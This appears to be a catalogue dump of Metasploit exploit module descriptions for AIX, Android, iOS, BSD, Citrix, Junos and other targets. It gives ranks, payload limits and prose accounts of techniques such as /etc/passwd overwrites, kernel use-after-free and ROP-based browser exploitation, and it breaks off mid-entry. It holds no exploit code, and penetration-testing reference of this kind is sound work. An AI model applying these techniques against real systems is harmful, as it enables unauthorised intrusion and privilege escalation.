```
Begin Exploit Number 1
       Name: ibstat $PATH Privilege Escalation
     Module: exploit/aix/local/ibstat_path
   Platform: Unix, AIX
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-24

Payload information:

Description:
  This module exploits the trusted $PATH environment variable of the
SUID binary "ibstat".

End Exploit Number 1

Begin Exploit Number 2
       Name: invscout RPM Privilege Escalation
     Module: exploit/aix/local/invscout_rpm_priv_esc
   Platform: Unix, AIX
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-04-24

Payload information:
  Avoid: 4 characters

Description:
  This module exploits a command injection vulnerability in IBM AIX
  invscout set-uid root utility present in AIX 7.2 and earlier.

  The undocumented -rpm argument can be used to install an RPM file;
  and the undocumented -o argument passes arguments to the rpm utility
  without validation, leading to command injection with effective-uid
  root privileges.

  This module has been tested successfully on AIX 7.2.

End Exploit Number 2

Begin Exploit Number 3
       Name: Xorg X11 Server Local Privilege Escalation
     Module: exploit/aix/local/xorg_x11_server
   Platform: Unix
       Arch: cmd
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2018-10-25

Payload information:

Description:
  WARNING: Successful execution of this module results in /etc/passwd
being overwritten.

  This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.

  A permission check flaw exists for -modulepath and -logfile options
when
  starting Xorg.  This allows unprivileged users that can start the
server
  the ability to elevate privileges and run arbitrary code under root
  privileges.

  This module has been tested with AIX 7.1 and 7.2, and should also
work with 6.1.
  Due to permission restrictions of the crontab in AIX, this module
does not use cron,
  and instead overwrites /etc/passwd in order to create a new user
with root privileges.
  All currently logged in users need to be included when /etc/passwd
is overwritten,
  else AIX will throw 'Cannot get "LOGNAME" variable' when attempting
to change user.
  The Xorg '-fp' parameter used in the OpenBSD exploit does not work
on AIX,
  and is replaced by '-config', in conjuction with ANSI-C quotes to
inject newlines when
  overwriting /etc/passwd.

End Exploit Number 3

Begin Exploit Number 4
       Name: AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21
Buffer Overflow
     Module: exploit/aix/rpc_cmsd_opcode21
   Platform: AIX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-10-07

Payload information:
  Space: 4104
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow vulnerability in opcode 21
handled by
  rpc.cmsd on AIX. By making a request with a long string passed to
the first
  argument of the "rtable_create" RPC, a stack based buffer overflow
occurs. This
  leads to arbitrary code execution.

  NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a
state where
  further attempts are not possible.

End Exploit Number 4

Begin Exploit Number 5
       Name: ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer
Overflow (AIX)
     Module: exploit/aix/rpc_ttdbserverd_realpath
   Platform: AIX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-06-17

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow vulnerability in
_tt_internal_realpath
  function of the ToolTalk database server (rpc.ttdbserverd).

End Exploit Number 5

Begin Exploit Number 6
       Name: Android ADB Debug Server Remote Payload Execution
     Module: exploit/android/adb/adb_server_exec
   Platform: Linux
       Arch: armle, x86, x64, mipsle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-01-01

Payload information:
```

```
Description:
  Writes and spawns a native payload on an android device that is
listening
  for adb debug messages.


End Exploit Number 6

Begin Exploit Number 7
       Name: Samsung Galaxy KNOX Android Browser RCE
     Module: exploit/android/browser/samsung_knox_smdm_url
   Platform: Android
       Arch: dalvik
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-11-12

Payload information:

Description:
  A vulnerability exists in the KNOX security component of the Samsung
Galaxy
  firmware that allows a remote webpage to install an APK with
arbitrary
  permissions by abusing the 'smdm://' protocol handler registered by
the KNOX
  component.

  The vulnerability has been confirmed in the Samsung Galaxy S4, S5,
Note 3,
  and Ace 4.

End Exploit Number 7

Begin Exploit Number 8
       Name: Android Stagefright MP4 tx3g Integer Overflow
     Module: exploit/android/browser/stagefright_mp4_tx3g_64bit
   Platform: Linux
       Arch: armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-08-13

Payload information:
  Space: 2048

Description:
  This module exploits an integer overflow vulnerability in the
```

Stagefright Library (libstagefright.so). The vulnerability occurs when parsing specially crafted MP4 files. While a wide variety of remote attack vectors exist, this particular exploit is designed to work within an HTML5 compliant browser.

Exploitation is done by supplying a specially crafted MP4 file with two tx3g atoms that, when their sizes are summed, cause an integer overflow when processing the second atom. As a result, a temporary buffer is allocated with insufficient size and a memcpy call leads to a heap overflow.

This version of the exploit uses a two-stage information leak based on corrupting the MetaData that the browser reads from mediaserver. This method is based on a technique published in NorthBit's Metaphor paper. First, we use a variant of their technique to read the address of a heap buffer located adjacent to a SampleIterator object as the video HTML element's videoHeight. Next, we read the vtable pointer from an empty Vector within the SampleIterator object using the video element's duration. This gives us a code address that we can use to determine the base address of libstagefright and construct a ROP chain dynamically.

NOTE: the mediaserver process on many Android devices (Nexus, for example) is constrained by SELinux and thus cannot use the execve system call. To avoid this problem, the original exploit uses a kernel exploit payload that disables SELinux and spawns a shell as root. Work is underway to make the framework more amenable to these types of situations. Until that work is complete, this exploit will only yield a shell on devices without SELinux or with SELinux in permissive mode.

End Exploit Number 8

Begin Exploit Number 9

```
       Name: Android Browser and WebView addJavascriptInterface Code 
Execution
     Module: exploit/android/browser/webview_addjavascriptinterface
   Platform: Android, Linux
       Arch: dalvik, x86, armle, mipsle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-12-21

Payload information:

Description:
  This module exploits a privilege escalation issue in Android < 4.2's 
WebView component
  that arises when untrusted Javascript code is executed by a WebView 
that has one or more
  Interfaces added to it. The untrusted Javascript code can call into 
the Java Reflection
  APIs exposed by the Interface and execute arbitrary commands.

  Some distributions of the Android Browser app have an 
addJavascriptInterface
  call tacked on, and thus are vulnerable to RCE. The Browser app in 
the Google APIs
  4.1.2 release of Android is known to be vulnerable.

  A secondary attack vector involves the WebViews embedded inside a 
large number
  of Android applications. Ad integrations are perhaps the worst 
offender here.
  If you can MITM the WebView's HTTP connection, or if you can get a 
persistent XSS
  into the page displayed in the WebView, then you can inject the 
html/js served
  by this module and get a shell.

  Note: Adding a .js to the URL will return plain javascript (no HTML 
markup).

End Exploit Number 9

Begin Exploit Number 10
       Name: Adobe Reader for Android addJavascriptInterface Exploit
     Module: exploit/android/fileformat/adobe_reader_pdf_js_interface
   Platform: Android
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2014-04-13

Payload information:

Description:
  Adobe Reader versions less than 11.2.0 exposes insecure native
  interfaces to untrusted javascript in a PDF. This module embeds the
browser
  exploit from android/webview_addjavascriptinterface into a PDF to
get a
  command shell on vulnerable versions of Reader.

End Exploit Number 10

Begin Exploit Number 11
       Name: Android Binder Use-After-Free Exploit
     Module: exploit/android/local/binder_uaf
   Platform: Android, Linux
       Arch: aarch64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-09-26

Payload information:

Description:
  This module exploits CVE-2019-2215, which is a use-after-free in
Binder in the
  Android kernel. The bug is a local privilege escalation
vulnerability that
  allows for a full compromise of a vulnerable device. If chained with
a browser
  renderer exploit, this bug could fully compromise a device through a
malicious
  website.
  The freed memory is replaced with an iovec structure in order to
leak a pointer
  to the task_struct. Finally the bug is triggered again in order to
overwrite
  the addr_limit, making all memory (including kernel memory)
accessible as part
  of the user-space memory range in our process and allowing arbitrary
reading
  and writing of kernel memory.

End Exploit Number 11

Begin Exploit Number 12
       Name: Android 'Towelroot' Futex Requeue Kernel Exploit
     Module: exploit/android/local/futex_requeue
   Platform: Android, Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-05-03

Payload information:
  Space: 2048

Description:
  This module exploits a bug in futex_requeue in the Linux kernel, 
using
  similar techniques employed by the towelroot exploit. Any Android 
device
  with a kernel built before June 2014 is likely to be vulnerable.

End Exploit Number 12

Begin Exploit Number 13
       Name: Android Janus APK Signature bypass
     Module: exploit/android/local/janus
   Platform: Android
       Arch: dalvik
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2017-07-31

Payload information:

Description:
  This module exploits CVE-2017-13156 in Android to install a payload 
into another
  application. The payload APK will have the same signature and can be 
installed
  as an update, preserving the existing data.
  The vulnerability was fixed in the 5th December 2017 security patch, 
and was
  additionally fixed by the APK Signature scheme v2, so only APKs 
signed with
  the v1 scheme are vulnerable.
  Payload handler is disabled, and a multi/handler must be started 
first.

End Exploit Number 13

Begin Exploit Number 14
       Name: Android get_user/put_user Exploit
     Module: exploit/android/local/put_user_vroot
   Platform: Android, Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-06

Payload information:
  Space: 2048

Description:
  This module exploits a missing check in the get_user and put_user
API functions
  in the linux kernel before 3.5.5. The missing checks on these
functions
  allow an unprivileged user to read and write kernel memory.
  This exploit first reads the kernel memory to identify the
commit_creds and
  ptmx_fops address, then uses the write primitive to execute
shellcode as uid 0.
  The exploit was first discovered in the wild in the vroot rooting
application.

End Exploit Number 14

Begin Exploit Number 15
       Name: Android 'su' Privilege Escalation
     Module: exploit/android/local/su_exec
   Platform: Android, Linux
       Arch: aarch64, armle, x86, x64, mipsle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2017-08-31

Payload information:

Description:
  This module uses the su binary present on rooted devices to run
  a payload as root.

  A rooted Android device will contain a su binary (often linked with
  an application) that allows the user to run commands as root.
  This module will use the su binary to execute a command stager
  as root. The command stager will write a payload binary to a
  temporary directory, make it executable, execute it in the
background,
  and finally delete the executable.
  On most devices the su binary will pop-up a prompt on the device
  asking the user for permission.


End Exploit Number 15

Begin Exploit Number 16
       Name: Safari Webkit JIT Exploit for iOS 7.1.2
     Module: exploit/apple_ios/browser/safari_jit
   Platform: Apple_iOS
       Arch: armle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2016-08-25

Payload information:

Description:
  This module exploits a JIT optimization bug in Safari Webkit. This
allows us to
  write shellcode to an RWX memory section in JavaScriptCore and
execute it. The
  shellcode contains a kernel exploit (CVE-2016-4669) that obtains
kernel rw,
  obtains root and disables code signing. Finally we download and
execute the
  meterpreter payload.
  This module has been tested against iOS 7.1.2 on an iPhone 4.

End Exploit Number 16

Begin Exploit Number 17
       Name: Apple iOS MobileSafari LibTIFF Buffer Overflow
     Module: exploit/apple_ios/browser/safari_libtiff
   Platform: OSX
       Arch: armle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2006-08-01

Payload information:
  Space: 1800
  Avoid: 0 characters

Description:
  This module exploits a buffer overflow in the version of
  libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
  1.1.1 of the Apple iPhone. iPhones which have not had the BSD
  tools installed will need to use a special payload.

End Exploit Number 17

Begin Exploit Number 18
       Name: Safari Webkit Proxy Object Type Confusion
     Module: exploit/apple_ios/browser/webkit_createthis
   Platform: Apple_iOS
       Arch: aarch64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2018-03-15

Payload information:

Description:
  This module exploits a type confusion bug in the Javascript Proxy
object in
  WebKit. The DFG JIT does not take into account that, through the use
of a Proxy,
  it is possible to run arbitrary JS code during the execution of a
CreateThis
  operation. This makes it possible to change the structure of e.g. an
argument
  without causing a bailout, leading to a type confusion
(CVE-2018-4233).

    The type confusion leads to the ability to allocate fake
Javascript objects,
  as well as the ability to find the address in memory of a Javascript
object.
  This allows us to construct a fake JSCell object that can be used to
read
  and write arbitrary memory from Javascript.  The module then uses a
ROP chain
  to write the first stage shellcode into executable memory within the
Safari
  process and kick off its execution.

    The first stage maps the second stage macho (containing
CVE-2017-13861) into
  executable memory, and jumps to its entrypoint. The CVE-2017-13861
async_wake
  exploit leads to a kernel task port (TFP0) that can read and write
arbitrary
  kernel memory. The processes credential and sandbox structure in the
kernel
  is overwritten and the meterpreter payloads code signature hash is
added to
```

```
  the kernels trust cache, allowing Safari to load and execute the
(self-signed)
  meterpreter payload.

End Exploit Number 18

Begin Exploit Number 19
       Name: WebKit not_number defineProperties UAF
     Module: exploit/apple_ios/browser/webkit_trident
   Platform: Apple_iOS
       Arch: aarch64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2016-08-25

Payload information:

Description:
  This module exploits a UAF vulnerability in WebKit's JavaScriptCore
library.

End Exploit Number 19

Begin Exploit Number 20
       Name: Apple iOS MobileMail LibTIFF Buffer Overflow
     Module: exploit/apple_ios/email/mobilemail_libtiff
   Platform: OSX
       Arch: armle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2006-08-01

Payload information:
  Space: 1800
  Avoid: 0 characters

Description:
  This module exploits a buffer overflow in the version of
  libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
  1.1.1 of the Apple iPhone. iPhones which have not had the BSD
  tools installed will need to use a special payload.

End Exploit Number 20

Begin Exploit Number 21
       Name: Apple iOS Default SSH Password Vulnerability
     Module: exploit/apple_ios/ssh/cydia_default_ssh
   Platform: Unix
```

```
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-07-02

Payload information:

Description:
  This module exploits the default credentials of Apple iOS when it
  has been jailbroken and the passwords for the 'root' and 'mobile'
  users have not been changed.

End Exploit Number 21

Begin Exploit Number 22
       Name: Morris Worm fingerd Stack Buffer Overflow
     Module: exploit/bsd/finger/morris_fingerd_bof
   Platform: BSD
       Arch: vax
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 1988-11-02

Payload information:
  Space: 403
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in fingerd on 4.3BSD.

  This vulnerability was exploited by the Morris worm in 1988-11-02.
  Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.

  Currently, only bsd/vax/shell_reverse_tcp is supported.

End Exploit Number 22

Begin Exploit Number 23
       Name: Mercantec SoftCart CGI Overflow
     Module: exploit/bsdi/softcart/mercantec_softcart
   Platform: BSDi
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2004-08-19

Payload information:
  Space: 1000
  Avoid: 27 characters

Description:
  This is an exploit for an undisclosed buffer overflow
  in the SoftCart.exe CGI as shipped with Mercantec's shopping
  cart software.  It is possible to execute arbitrary code
  by passing a malformed CGI parameter in an HTTP GET
  request.  This issue is known to affect SoftCart version
  4.00b.

End Exploit Number 23

Begin Exploit Number 24
       Name: System V Derived /bin/login Extraneous Arguments Buffer
Overflow
     Module: exploit/dialup/multi/login/manyargs
   Platform: Unix
       Arch: tty
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2001-12-12

Payload information:
  Space: 3000
  Avoid: 0 characters

Description:
  This exploit connects to a system's modem over dialup and exploits
  a buffer overflow vulnerability in it's System V derived /bin/login.
  The vulnerability is triggered by providing a large number of
arguments.

End Exploit Number 24

Begin Exploit Number 25
       Name: Firefox Exec Shellcode from Privileged Javascript Shell
     Module: exploit/firefox/local/exec_shellcode
   Platform: Firefox
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-03-10

Payload information:

Description:
  This module allows execution of native payloads from a privileged
```

```
Firefox Javascript shell.
  It places the specified payload into memory, adds the necessary
protection flags,
  and calls it, which can be useful for upgrading a Firefox javascript
shell to a Meterpreter
  session without touching the disk.

End Exploit Number 25

Begin Exploit Number 26
       Name: ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow
(FreeBSD)
     Module: exploit/freebsd/ftp/proftp_telnet_iac
   Platform: BSD
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-11-01

Payload information:
  Space: 1024
  Avoid: 3 characters

Description:
  This module exploits a stack-based buffer overflow in versions of
ProFTPD
  server between versions 1.3.2rc3 and 1.3.3b. By sending data
containing a
  large number of Telnet IAC commands, an attacker can corrupt memory
and
  execute arbitrary code.

End Exploit Number 26

Begin Exploit Number 27
       Name: Citrix ADC (NetScaler) Directory Traversal RCE
     Module: exploit/freebsd/http/citrix_dir_traversal_rce
   Platform: Python, Unix
       Arch: python, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-12-17

Payload information:

Description:
  This module exploits a directory traversal in Citrix Application
Delivery Controller (ADC), aka
```

```
  NetScaler, and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0, to execute
an arbitrary command payload.

End Exploit Number 27

Begin Exploit Number 28
       Name: Citrix ADC (NetScaler) Forms SSO Target RCE
     Module: exploit/freebsd/http/citrix_formssso_target_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2023-07-18

Payload information:
  Space: 2048

Description:
  A vulnerability exists within Citrix ADC that allows an
unauthenticated attacker to trigger a stack buffer
  overflow of the nsppe process by making a specially crafted HTTP GET
request. Successful exploitation results in
  remote code execution as root.

End Exploit Number 28

Begin Exploit Number 29
       Name: Junos OS PHPRC Environment Variable Manipulation RCE
     Module: exploit/freebsd/http/junos_phprc_auto_prepend_file
   Platform: PHP, Unix
       Arch: php, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-08-17

Payload information:

Description:
  This module exploits a PHP environment variable manipulation
vulnerability affecting Juniper SRX firewalls
  and EX switches. The affected Juniper devices run FreeBSD and every
FreeBSD process can access their stdin
  by opening /dev/fd/0. The exploit also makes use of two useful PHP
features. The first being
  'auto_prepend_file' which causes the provided file to be added using
the 'require' function. The second PHP
  function is 'allow_url_include' which allows the use of URL-aware
fopen wrappers. By enabling
```

```
  allow_url_include, the exploit can use any protocol wrapper with
auto_prepend_file. The module then uses
  data:// to provide a file inline which includes the base64 encoded
PHP payload.

  By default this exploit returns a session confined to a FreeBSD jail
with limited functionality. There is a
  datastore option 'JAIL_BREAK', that when set to true, will steal the
necessary tokens from a user authenticated
  to the J-Web application, in order to overwrite the root password
hash. If there is no user authenticated
  to the J-Web application this exploit will try to create one. If
unsuccesfull this method will not work.
  The module then authenticates with the new root password over SSH
and then rewrites the original root password
  hash to /etc/master.passwd. There is an option to set allow ssh root
login, if disabled.

End Exploit Number 29

Begin Exploit Number 30
       Name: Watchguard XCS Remote Command Execution
     Module: exploit/freebsd/http/watchguard_cmd_exec
   Platform: BSD
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-06-29

Payload information:

Description:
  This module exploits two separate vulnerabilities found in the
Watchguard XCS virtual
  appliance to gain command execution. By exploiting an
unauthenticated SQL injection, a
  remote attacker may insert a valid web user into the appliance
database, and get access
  to the web interface. On the other hand, a vulnerability in the web
interface allows the
  attacker to inject operating system commands as the 'nobody' user.

End Exploit Number 30

Begin Exploit Number 31
       Name: FreeBSD Intel SYSRET Privilege Escalation
     Module: exploit/freebsd/local/intel_sysret_priv_esc
   Platform: BSD
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2012-06-12

Payload information:

Description:
  This module exploits a vulnerability in the FreeBSD kernel,
  when running on 64-bit Intel processors.

  By design, 64-bit processors following the X86-64 specification will
  trigger a general protection fault (GPF) when executing a SYSRET
  instruction with a non-canonical address in the RCX register.

  However, Intel processors check for a non-canonical address prior to
  dropping privileges, causing a GPF in privileged mode. As a result,
  the current userland RSP stack pointer is restored and executed,
  resulting in privileged code execution.

  This module has been tested successfully on:

  FreeBSD 8.3-RELEASE (amd64); and
  FreeBSD 9.0-RELEASE (amd64).

End Exploit Number 31

Begin Exploit Number 32
       Name: FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation
     Module: exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
   Platform: BSD
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2020-07-07

Payload information:

Description:
  This module exploits a race and use-after-free vulnerability in the
  FreeBSD kernel IPv6 socket handling. A missing synchronization lock
  in the `IPV6_2292PKTOPTIONS` option handling in `setsockopt` permits
  racing `ip6_setpktopt` access to a freed `ip6_pktopts` struct.

  This exploit overwrites the `ip6po_pktinfo` pointer of a
`ip6_pktopts`
  struct in freed memory to achieve arbitrary kernel read/write.

  This module has been tested successfully on:
```

```
  FreeBSD 9.0-RELEASE #0 (amd64);
  FreeBSD 9.1-RELEASE #0 r243825 (amd64);
  FreeBSD 9.2-RELEASE #0 r255898 (amd64);
  FreeBSD 9.3-RELEASE #0 r268512 (amd64);
  FreeBSD 12.0-RELEASE r341666 (amd64); and
  FreeBSD 12.1-RELEASE r354233 (amd64).

End Exploit Number 32

Begin Exploit Number 33
       Name: FreeBSD 9 Address Space Manipulation Privilege Escalation
     Module: exploit/freebsd/local/mmap
   Platform: BSD
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-06-18

Payload information:

Description:
  This module exploits a vulnerability that can be used to modify 
portions of
  a process's address space, which may lead to privilege escalation. 
Systems
  such as FreeBSD 9.0 and 9.1 are known to be vulnerable.

End Exploit Number 33

Begin Exploit Number 34
       Name: FreeBSD rtld execl() Privilege Escalation
     Module: exploit/freebsd/local/rtld_execl_priv_esc
   Platform: BSD
       Arch: x86, x64, armle, aarch64, ppc, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-11-30

Payload information:

Description:
  This module exploits a vulnerability in the FreeBSD
  run-time link-editor (rtld).

  The rtld `unsetenv()` function fails to remove `LD_*`
  environment variables if `__findenv()` fails.
  This can be abused to load arbitrary shared objects using
  `LD_PRELOAD`, resulting in privileged code execution.

  This module has been tested successfully on:

  FreeBSD 7.2-RELEASE (amd64); and
  FreeBSD 8.0-RELEASE (amd64).

End Exploit Number 34

Begin Exploit Number 35
       Name: Watchguard XCS FixCorruptMail Local Privilege Escalation
     Module: exploit/freebsd/local/watchguard_fix_corrupt_mail
   Platform: BSD
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2015-06-29

Payload information:

Description:
  This module exploits a vulnerability in the Watchguard XCS
'FixCorruptMail' script called
  by root's crontab which can be exploited to run a command as root
within 3 minutes.

End Exploit Number 35

Begin Exploit Number 36
       Name: Citrix NetScaler SOAP Handler Remote Code Execution
     Module: exploit/freebsd/misc/citrix_netscaler_soap_bof
   Platform: BSD
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-09-22

Payload information:
  Space: 1024

Description:
  This module exploits a memory corruption vulnerability on the Citrix
NetScaler Appliance.
  The vulnerability exists in the SOAP handler, accessible through the
web interface. A
  malicious SOAP requests can force the handler to connect to a
malicious NetScaler config
```

```
  server. This malicious config server can send a specially crafted
response in order to
  trigger a memory corruption and overwrite data in the stack, to
finally execute arbitrary
  code with the privileges of the web server running the SOAP handler.
This module has been
  tested successfully on the NetScaler Virtual Appliance 450010.

End Exploit Number 36

Begin Exploit Number 37
       Name: Samba trans2open Overflow (*BSD x86)
     Module: exploit/freebsd/samba/trans2open
   Platform: BSD
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2003-04-07

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This exploits the buffer overflow found in Samba versions
  2.2.0 to 2.2.8. This particular module is capable of
  exploiting the flaw on x86 Linux systems that do not
  have the noexec stack option set.

End Exploit Number 37

Begin Exploit Number 38
       Name: XTACACSD report() Buffer Overflow
     Module: exploit/freebsd/tacacs/xtacacsd_report
   Platform: BSD
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2008-01-08

Payload information:
  Space: 175
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in XTACACSD <= 4.1.2.
By
  sending a specially crafted XTACACS packet with an overly long
  username, an attacker may be able to execute arbitrary code.

End Exploit Number 38

Begin Exploit Number 39
       Name: FreeBSD Telnet Service Encryption Key ID Buffer Overflow
     Module: exploit/freebsd/telnet/telnet_encrypt_keyid
   Platform: BSD
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2011-12-23

Payload information:
  Space: 128
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in the encryption option 
handler of the
  FreeBSD telnet service.

End Exploit Number 39

Begin Exploit Number 40
       Name: SpamTitan Unauthenticated RCE
     Module: exploit/freebsd/webapp/spamtitan_unauth_rce
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-04-17

Payload information:
  Space: 470
  Avoid: 3 characters

Description:
  TitanHQ SpamTitan Gateway is an anti-spam appliance that protects 
against
  unwanted emails and malwares. This module exploits an improper input
  sanitization in versions 7.01, 7.02, 7.03 and 7.07 to inject command 
directives
  into the SNMP configuration file and get remote code execution as 
root. Note
  that only version 7.03 needs authentication and no authentication is 
required
  for versions 7.01, 7.02 and 7.07.
  First, it sends an HTTP POST request to the `snmp-x.php` page with
an `SNMPD`
  command directives (`extend` + command) passed to the `community`
parameter.
  This payload is then added to `snmpd.conf` by the application.
Finally, the
  module triggers the execution of this command by querying the SNMP
server for
  the correct OID.

  This exploit module has been successfully tested against versions
7.01, 7.02,
  7.03, and 7.07.

End Exploit Number 40

Begin Exploit Number 41
       Name: HP-UX LPD Command Execution
     Module: exploit/hpux/lpd/cleanup_exec
   Platform: HPUX, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2002-08-28

Payload information:
  Space: 200
  Avoid: 4 characters

Description:
  This exploit abuses an unpublished vulnerability in the
  HP-UX LPD service. This flaw allows an unauthenticated
  attacker to execute arbitrary commands with the privileges
  of the root user. The LPD service is only exploitable when
  the address of the attacking system can be resolved by the
  target. This vulnerability was silently patched with the
  buffer overflow flaws addressed in HP Security Bulletin
  HPSBUX0208-213.

End Exploit Number 41

Begin Exploit Number 42
       Name: Irix LPD tagprinter Command Execution
     Module: exploit/irix/lpd/tagprinter_exec
   Platform: Irix, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2001-09-01

Payload information:
  Space: 512

Description:
  This module exploits an arbitrary command execution flaw in
  the in.lpd service shipped with all versions of Irix.

End Exploit Number 42

Begin Exploit Number 43
       Name: eScan Web Management Console Command Injection
     Module: exploit/linux/antivirus/escan_password_exec
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-04-04

Payload information:
  Avoid: 0 characters

Description:
  This module exploits a command injection vulnerability found in the
eScan Web Management
  Console. The vulnerability exists while processing CheckPass login
requests. An attacker
  with a valid username can use a malformed password to execute
arbitrary commands. With
  mwconf privileges, the runasroot utility can be abused to get root
privileges. This module
  has been tested successfully on eScan 5.5-2 on Ubuntu 12.04.

End Exploit Number 43

Begin Exploit Number 44
       Name: Adobe Flash Player ActionScript Launch Command Execution
Vulnerability
     Module: exploit/linux/browser/adobe_flashplayer_aslaunch
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-12-17

Payload information:
```

```
Description:
  This module exploits a vulnerability in Adobe Flash Player for
Linux,
  version 10.0.12.36 and 9.0.151.0 and prior.
  An input validation vulnerability allows command execution when the
browser
  loads a SWF file which contains shell metacharacters in the
arguments to
  the ActionScript launch method.

  The victim must have Adobe AIR installed for the exploit to work.
This module
  was tested against version 10.0.12.36 (10r12_36).

End Exploit Number 44

Begin Exploit Number 45
       Name: UnRAR Path Traversal (CVE-2022-30333)
     Module: exploit/linux/fileformat/unrar_cve_2022_30333
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-06-28

Payload information:

Description:
  This module creates a RAR file that exploits CVE-2022-30333, which
is a
  path-traversal vulnerability in unRAR that can extract an arbitrary
file
  to an arbitrary location on a Linux system. UnRAR fixed this
  vulnerability in version 6.12 (open source version 6.1.7).

  The core issue is that when a symbolic link is unRAR'ed, Windows
  symbolic links are not properly validated on Linux systems and can
  therefore write a symbolic link that points anywhere on the
filesystem.
  If a second file in the archive has the same name, it will be
written
  to the symbolic link path.

End Exploit Number 45

Begin Exploit Number 46
       Name: ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
     Module: exploit/linux/ftp/proftp_sreplace
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2006-11-26

Payload information:
  Space: 900
  Avoid: 4 characters

Description:
  This module exploits a stack-based buffer overflow in versions 1.2 through
  1.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function
  within the "src/support.c" file.

  The off-by-one heap overflow bug in the ProFTPD sreplace function has been
  discovered about 2 (two) years ago by Evgeny Legerov. We tried to exploit
